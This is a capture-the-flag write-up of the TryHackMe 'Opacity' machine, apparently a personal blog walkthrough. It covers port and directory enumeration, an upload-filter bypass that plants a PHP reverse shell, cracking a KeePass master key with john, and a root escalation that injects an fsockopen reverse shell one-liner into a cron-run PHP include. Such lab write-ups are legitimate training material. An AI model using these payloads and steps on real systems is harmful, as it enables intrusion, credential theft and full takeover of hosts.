TryHackMe | Opacity
Writeup of an easy-rated Linux Machine from TryHackMe
Reconnaissance
Scanning
As always, let’s start our enumeration process by scanning the machine with Nmap:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
$ nmap -sC -sV -A -T4 -p- 10.10.25.135
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-29 03:02 EDT
Nmap scan report for 10.10.25.135
Host is up (0.10s latency).
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 0fee2910d98e8c53e64de3670c6ebee3 (RSA)
|   256 9542cdfc712799392d0049ad1be4cf0e (ECDSA)
|_  256 edfe9c94ca9c086ff25ca6cf4d3c8e5b (ED25519)
80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-title: Login
|_Requested resource was login.php
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (92%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.11 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb2-time: 
|   date: 2023-04-29T07:02:52
|_  start_date: N/A
|_nbstat: NetBIOS name: OPACITY, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required
TRACEROUTE (using port 445/tcp)
HOP RTT       ADDRESS
1   103.61 ms 10.8.0.1
2   98.12 ms  10.10.25.135
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.27 seconds
The target machine has 4 open ports:
- An SSH server OpenSSH 8.2p1running on port 22
- An HTTP server Apache httpd 2.4.41running on port 80
- Samba smbd version 4.6.2is running on ports139and445
Port
139is typically used forNetBIOS Session Service
Port
445is used forServer Message Block(SMB) over TCP
Service Enumeration
SSH - TCP 22
The version of OpenSSH 8.2p1 running on port 22 is linked to several vulnerabilities, including a Remote Code Execution vulnerability identified as CVE-2021-28041, which enables attackers to execute arbitrary code on the targeted system. Unfortunately, despite spending hours searching the internet, I could not locate any helpful exploits that would provide me with initial access to the target machine.
SMB - TCP 445
CrackMapExec:
1
$ crackmapexec smb <IP>
- Running crackmapexecgives the hostname of the machine,OPACITY, which is not associated with any domain.
Shares enumeration:
smbmap:
1
$ smbmap -H <IP>
- smbmapshows two shares- print$and- IPC$, which I don’t have sufficient permissions to access:
smbclient:
1
smbclient -N -L //<IP>
- smbclientalso shows only two shares:- IPC$and- print$:
HTTP - TCP 80
Website
Visiting the site in the browser redirects to a login page: http://IP/login.php: 
 .png)
When it comes to login pages, the initial though is to search for methods to bypass authentication, such as exploiting SQL Injection, using Default Credentials, attempting Brute Force Attacks on a known username and so on.
Testing Checklist:
- Default credentials such as admin:adminor aadmin:passworddoes not bypass authentication
- We don’t have a valid username, which means we can’t use password brute forcing technique.
- The Web application does not seem to be vulnerable to basic SQL Injection
Directory Fuzzing
Gobuster:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt -t 64 --no-error -x .php
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://opacity.thm
[+] Method:                  GET
[+] Threads:                 64
[+] Wordlist:                /usr/share/wordlists/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
2023/04/30 05:13:31 Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 302) [Size: 0] [--> login.php]
/login.php            (Status: 200) [Size: 848]
/css                  (Status: 301) [Size: 308] [--> http://opacity.thm/css/]
/logout.php           (Status: 302) [Size: 0] [--> login.php]
/cloud                (Status: 301) [Size: 310] [--> http://opacity.thm/cloud/]
...
Gobuster found some interesting directories:
- /index.php: redirects to- /login.php, which means we need to login before accessing the main page- index.php
- /login.php: contains a login form where we can submit a username and a password
- /css: returns a- 404 Not Foundpage
- logout.php: redirects also to- login.php
- /cloud: returns a Personal Cloud Storage where we can upload images via an external URL
The file upload path looks like the one we should dig more into to get an initial access.
Initial Access
File Upload:
Uploading a file
The first thing to notice here, is that in order to upload a file, we should submit an external URL which links to the file you want to upload, and not simply drag and drop or Select from filesystem the file. With that said, we need to start a python webserver that will host the files we want to upload.
1
$ sudo python3 -m http.server 80
Understanding the file upload logic
After numerous uploading attempts, I came to the following conclusions:
- Only images can be uploaded to the server
- The Web App allows only files with image extensions like .png,.jpg,.jpeg,.gif
- The Web App apply checks on only file extension, which means it only checks whether the file being uploaded has an image extension or not. If it does, it will be uploaded, otherwise, Please select an imagewill be displayed.
- The Web App does not apply checks via Magic Bytes, because uploading a real image without an extension is not allowed.
Shell as www-data:
With that said, we need to bypass the file extension check in order to upload a PHP reverse shell script and eventually get a shell. HackTricks has an excellent checklist to follow when it comes to bypassing file extensions. After going through, literally the entire list, I managed to get a shell by uploading the php-reverse-shell.php script and appending #.png to the URL
Steps to reproduce:
1- First of all, download the PHP script and extract the content of the archive:
1
2
$ wget http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz
$ tar xvf php-reverse-shell-1.0.tar.gz
2- cd into php-reverse-shell-1.0 directory 
 3- Open php-reverse-shell.php file in a text editor. 
 4- Change the values of the $ip and $port variables with your tun0 IP address and a port number of your choice, respectively, as shown below.
5- Start a netcat listener on the same port you specified in the PHP script: 
1
$ nc -nlvp <PORT>
6- Upload the PHP file, by entering the following URL in the External URL box, and append #.png to the URL: 
1
http://<Your_IP>/php-reverse-shell.php#.png
7- If all went well, you should have received a shell on your netcat listener: 
Shell Stabilization:
Let’s stabilize our shell, by running the following commands:
1
2
3
4
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl + Z [Background Process]
stty raw -echo ; fg ;
Privilege Escalation
Shell as sysadmin
Enumeration:
Keepass database:
In the /opt directory there is a Keepass Password database dataset.kdbx, which is owned by the user sysadmin: 
 .png)
- Keepassis an open-source Password Manager that allows users to store and manage their passwords in a secure and encrypted database. It uses a- master passwordto protect the database.
Let’s download the file in our attacking machine, after starting a python webserver on opacity machine, that will host the dataset.kdbx file:
- On opacitymachine:
1
$ python3 -m http.server <PORT>
In order to open the database file, we can use keepassx utility:
1
$ keepassx dataset.kdbx
- As expected, the database is protected by the Master Key.
Cracking the Master Key:
We can use JohnTheRipper to crack the Master key. But first, we need to extract the hash from the database file. To do so, we can use keepass2john utility:
1
$ keepass2john dataset.kdbx > keepassHash.txt
Now, we can use john to crack the keepassHash.txt hash file:
1
$ john --wordlist=/path/to/rockyou.txt keepassHash.txt
Access to database:
Having the master key, we can now access the database: 
 .png)
- And we have sysadmin’s password.
 At first, I though that these credentials would be utilized on the/login.phppage, but my attempt proved unsuccessful. Therefore, the login page can be considered a “rabbit hole”
🚩 User Flag:
With that said, we can use these credentials to ssh as sysadmin:
1
$ ssh sysadmin@10.10.10.10
📍 Note that you can also, from www-data shell, switch to sysadmin user, by just running su sysadmin and entering sysadmin password 
 .png)
Shell as root
Enumeration:
In sysadmin’s home directory /home/sysadmin, there is a folder named scripts which contain a PHP file script.php and a folder called lib 
  1.png)
This PHP script performs two main tasks:
- It creates a backup of the scriptsfolder in the/home/sysadmindirectory, by calling thezipDatafunction from the scriptbackup.inc.phplocated in thelib/folder.
- It deletes all the files in the /var/www/html/cloud/imagesdirectory using theunlinkfunction, if they are files, or thermdirfunction is they are directories.
Additionally, the script is executed with root privileges every minute, as per pspy: 
 .png)
The script script.php is owned by root and sysadmin has only read privileges over the file, which means we cannot modify its content. But the script does call another PHP file, backup.inc.php, which is located in a directory over which we have basically all privileges, which is lib/. 
 .png)
Reverse shell:
Having said that, we can inject a reverse shell payload into the PHP script backup.inc.php, and after the execution of script.php, we should get a reverse shell back. 
1- Let’s inject the following reverse shell payload in backup.inc.php file:
1
$sock=fsockopen("tun0_IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");
📍 You can find other PHP reverse shells here
2- Start a netcat listener on the port you specified in the reverse shell payload:
1
$ nc -nlvp PORT
3- After a minute, you should get a reverse shell back: 
 .png)

.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)